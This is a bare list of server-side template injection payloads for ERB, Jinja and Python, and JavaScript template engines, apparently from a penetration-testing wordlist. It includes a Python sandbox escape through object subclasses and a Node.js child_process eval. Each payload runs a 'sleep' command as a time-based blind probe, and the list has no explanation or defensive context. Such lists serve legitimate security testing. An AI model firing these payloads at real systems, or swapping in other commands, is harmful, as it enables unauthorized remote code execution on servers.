Restore

<%=system("sleep 10")%>

{{__import__("subprocess").check_output("sleep 10", shell=True)}}

${__import__("subprocess").check_output("sleep 10", shell=True)}

{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("sleep 10")}}

{{range.constructor('return eval(\'global.process.mainModule.require("child_process").execSync("sleep 22").toString()\')')()}}